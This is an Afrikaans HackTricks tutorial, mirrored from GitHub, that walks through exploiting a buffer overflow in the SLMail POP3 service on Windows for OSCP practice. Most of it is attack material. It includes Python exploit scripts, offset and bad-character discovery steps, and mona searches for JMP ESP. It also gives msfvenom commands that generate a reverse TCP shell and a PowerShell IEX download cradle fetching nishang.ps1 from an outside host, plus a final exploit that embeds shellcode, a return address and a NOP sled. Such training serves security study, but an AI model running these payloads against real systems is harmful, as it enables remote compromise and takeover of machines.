mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
291 lines
11 KiB
Markdown
291 lines
11 KiB
Markdown
# Windows Exploiting (Basiese Gids - OSCP vlak)
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
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</details>
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## **Begin met die installeer van die SLMail-diens**
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## Herlaai SLMail-diens
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Elke keer as jy die diens SLMail wil **herlaai**, kan jy dit doen deur die Windows-konsole te gebruik:
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```
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net start slmail
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```
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 (1).png>)
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## Baie basiese Python uitbuitingsjabloon
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```python
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#!/usr/bin/env python3
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import socket
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# Verander hierdie waardes om die doelwit se IP-adres en poortnommer te spesifiseer
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target_ip = "192.168.1.100"
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target_port = 1337
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# Skep 'n verbindingsobjek
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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# Verbind met die doelwit
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s.connect((target_ip, target_port))
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# Stuur 'n uitbuitingsstring na die doelwit
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exploit_string = b"Exploit string goes here"
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s.send(exploit_string)
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# Ontvang die antwoord van die doelwit
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response = s.recv(1024)
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print(response.decode())
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# Sluit die verbindingsobjek
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s.close()
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```
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Hierdie is 'n baie basiese sjabloon vir 'n Python-uitbuiting. Jy kan die waardes van `target_ip` en `target_port` verander om die IP-adres en poortnommer van die teiken te spesifiseer. Vervang die `exploit_string` met die spesifieke uitbuitingsstring wat jy wil stuur. Die program sal die uitbuitingsstring na die teiken stuur en die antwoord ontvang en druk.
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```python
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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buffer = 'A' * 2700
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
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```
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## **Verander Immunity Debugger-lettertipe**
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Gaan na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
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## **Koppel die proses aan Immunity Debugger:**
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**File --> Attach**
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 (1) (1).png>)
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**En druk die START-knoppie**
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## **Stuur die uitbuit en kyk of EIP geraak word:**
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 (1) (1).png>)
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Elke keer as jy die diens breek, moet jy dit herbegin soos aangedui aan die begin van hierdie bladsy.
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## Skep 'n patroon om die EIP te wysig
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Die patroon moet so groot wees as die buffer wat jy vantevore gebruik het om die diens te breek.
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 (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
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```
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Verander die buffer van die uitbuit en stel die patroon in en voer die uitbuit uit.
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'n Nuwe crash moet verskyn, maar met 'n ander EIP-adres:
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 (1) (1).png>)
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Kyk of die adres in jou patroon was:
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 (1) (1).png>)
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```
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/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
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```
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Lyk asof **ons die EIP in offset 2606 kan wysig** van die buffer.
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Kyk daarna deur die buffer van die aanval te wysig:
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```
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buffer = 'A'*2606 + 'BBBB' + 'CCCC'
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```
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Met hierdie buffer moet die EIP-gekraakte punt na 42424242 ("BBBB") wys.
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 (1) (1).png>)
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 (1) (1).png>)
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Dit lyk asof dit werk.
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## Kontroleer vir Shellcode-ruimte binne die stapel
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600B moet genoeg wees vir enige kragtige shellcode.
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Laat ons die buffer verander:
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```
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buffer = 'A'*2606 + 'BBBB' + 'C'*600
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```
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Begin deur die nuwe uitbuiting te begin en die EBP en lengte van die bruikbare skuldkode te kontroleer.
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 (1).png>)
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 (1).png>)
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Jy kan sien dat wanneer die kwesbaarheid bereik word, wys die EBP na die skuldkode en dat ons baie spasie het om 'n skuldkode hier te plaas.
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In hierdie geval het ons **vanaf 0x0209A128 tot 0x0209A2D6 = 430B.** Genoeg.
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## Kontroleer vir slegte karakters
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Verander weer die buffer:
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```
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badchars = (
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"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
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"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
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"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
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"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
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"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
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"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
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"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
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"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
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"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
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"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
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"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
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"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
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"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
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"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
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"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
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"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
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)
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buffer = 'A'*2606 + 'BBBB' + badchars
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```
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Die slegte karakters begin by 0x01 omdat 0x00 amper altyd sleg is.
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Voer die aanval herhaaldelik uit met hierdie nuwe buffer deur die karakters wat nutteloos is, te verwyder:
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Byvoorbeeld:
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In hierdie geval kan jy sien dat **jy nie die karakter 0x0A moet gebruik nie** (niks word in die geheue gestoor aangesien die karakter 0x09 is).
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 (1).png>)
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In hierdie geval kan jy sien dat **die karakter 0x0D vermy word**:
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 (1).png>)
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## Vind 'n JMP ESP as 'n terugkeeradres
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Gebruik:
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```
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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```
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Jy sal die geheuekaarte lys. Soek na 'n paar DLL's wat die volgende eienskappe het:
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* **Rebase: False**
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* **SafeSEH: False**
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* **ASLR: False**
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* **NXCompat: False**
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* **OS Dll: True**
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 (1).png>)
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Nou, binne hierdie geheue moet jy 'n paar JMP ESP-bytes vind. Om dit te doen, voer die volgende uit:
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```
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!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
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!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
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```
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**Dan, as 'n adres gevind word, kies een wat geen slegte karakters bevat nie:**
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 (1).png>)
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**In hierdie geval, byvoorbeeld: \_0x5f4a358f**\_
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## Skep shellcode
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```
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
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msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
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```
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As die uitbuit nie werk nie, maar dit moet (jy kan sien met ImDebg dat die shellcode bereik word), probeer om ander shellcodes te skep (msfvenom sal verskillende shellcodes skep vir dieselfde parameters).
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**Voeg 'n paar NOPS aan die begin** van die shellcode by en gebruik dit en die terugkeeradres om te JMP ESP, en voltooi die uitbuit:
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```bash
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#!/usr/bin/python
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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ip = '10.11.25.153'
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port = 110
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shellcode = (
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"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
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"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
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"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
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"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
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"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
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"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
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"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
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"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
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"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
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"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
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"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
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"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
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"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
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"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
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"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
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"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
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"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
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"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
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"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
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"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
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"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
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"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
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"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
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"\x2d\xb8\x63\xe2\x4e\xe9"
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)
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buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
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try:
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print "\nLaunching exploit..."
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s.connect((ip, port))
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data = s.recv(1024)
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s.send('USER username' +'\r\n')
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data = s.recv(1024)
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s.send('PASS ' + buffer + '\r\n')
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print "\nFinished!."
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except:
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print "Could not connect to "+ip+":"+port
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```
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{% hint style="warning" %}
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Daar is shellcodes wat **hulself sal oorskryf**, daarom is dit belangrik om altyd 'n paar NOPs voor die shellcode by te voeg.
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{% endhint %}
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## Verbetering van die shellcode
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Voeg hierdie parameters by:
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```
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EXITFUNC=thread -e x86/shikata_ga_nai
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```
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
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</details>
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